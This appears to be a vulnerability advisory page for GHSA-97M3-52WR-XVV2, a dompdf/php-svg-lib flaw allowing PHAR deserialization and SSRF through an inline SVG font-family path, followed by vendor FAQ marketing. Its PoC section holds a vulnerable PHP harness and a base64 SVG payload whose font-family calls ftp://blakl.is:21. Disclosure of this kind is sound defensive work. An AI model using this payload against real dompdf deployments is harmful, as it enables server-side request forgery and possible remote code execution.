Summary
Dompdf's usage of vulnerable version of phenx/php-svg-lib leads to restriction bypass and potential RCE
A lack of sanitization/check in the font path returned by php-svg-lib, in the case of a inline CSS font defined, that will be used by Cpdf to open a font will be passed to a file_exists call, which is sufficient to trigger metadata unserializing on a PHAR file, through the phar:// URL handler on PHP < 8.0. On other versions, it might be used as a way to get a SSRF through, for example, ftp, not restricted by authorized protocols configured on dompdf.
Details
The problem lies on the openFont function of the lib/Cpdf.php library, when the $font variable passed by php-svg-lib isn't checked correctly. A path is crafted through $name and $dir, which are two values that can be controlled through CSS :
$name = basename($font);
$dir = dirname($font);
[...]
$metrics_name = "$name.ufm";
[...]
if (!isset($this->fonts[$font]) && file_exists("$dir/$metrics_name")) {
Passing a font named phar:///foo/bar/baz.phar/test will set the value of $name to test and $dir to phar:///foo/bar/baz.phar, which once reconstructed will call file_exists on phar:///foo/bar/baz.phar/test.ufm. That allows to deserialize the baz.phar arbitrary file that contains a test.ufm file in the archive.
PoC
Consider the following, minimal PHP code :
<?php
require('vendor/autoload.php');
use Dompdf\Dompdf;
$dompdf = new Dompdf();
$dompdf->loadHtml($_GET['payload']);
$dompdf->setPaper('A4', 'landscape');
$options = $dompdf->getOptions();
$options->setAllowedProtocols([]);
$dompdf->render();
$dompdf->stream();
With payload being this html file :
<html>
<img src="data:image/png;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+DQo8c3ZnIHhtbG5zOnN2Zz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHdpZHRoPSIyMDAiIGhlaWdodD0iMjAwIj4NCiAgICA8dGV4dCB4PSIyMCIgeT0iMzUiIHN0eWxlPSJjb2xvcjpyZWQ7Zm9udC1mYW1pbHk6ZnRwOi8vYmxha2wuaXM6MjEveC95OyI+TXk8L3RleHQ+DQo8L3N2Zz4="></img>
</html>
with the base64 image being :
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">
<text x="20" y="35" style="color:red;font-family:ftp://blakl.is:21/x/y;">My</text>
</svg>
A connection on ftp://blakl.is:21/ will occur, bypassing the allowed protocols.
Impact
An attacker might be able to exploit the vulnerability to call arbitrary URL with arbitrary protocols, if they can force dompdf to parse a SVG with an inline CSS property using a malicious font-family. In PHP versions before 8.0.0, it leads to arbitrary unserialize, that will leads at the very least to an arbitrary file deletion, and might leads to remote code execution, depending on classes that are available.
Untrusted serialized data is processed by a deserializer that can instantiate arbitrary objects or execute code as a side effect. Typical impact: arbitrary code execution or logic abuse.
GHSA-97M3-52WR-XVV2 has a CVSS score of 10.0 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.5.2); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Frequently Asked Questions
- What is GHSA-97M3-52WR-XVV2? GHSA-97M3-52WR-XVV2 is a critical-severity insecure deserialization vulnerability in phenx/php-svg-lib (composer), affecting versions < 0.5.2. It is fixed in 0.5.2. Untrusted serialized data is processed by a deserializer that can instantiate arbitrary objects or execute code as a side effect.
- How severe is GHSA-97M3-52WR-XVV2? GHSA-97M3-52WR-XVV2 has a CVSS score of 10.0 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of phenx/php-svg-lib are affected by GHSA-97M3-52WR-XVV2? phenx/php-svg-lib (composer) versions < 0.5.2 is affected.
- Is there a fix for GHSA-97M3-52WR-XVV2? Yes. GHSA-97M3-52WR-XVV2 is fixed in 0.5.2. Upgrade to this version or later.
- Is GHSA-97M3-52WR-XVV2 exploitable, and should I be worried? Whether GHSA-97M3-52WR-XVV2 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-97M3-52WR-XVV2 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-97M3-52WR-XVV2? Upgrade
phenx/php-svg-libto 0.5.2 or later.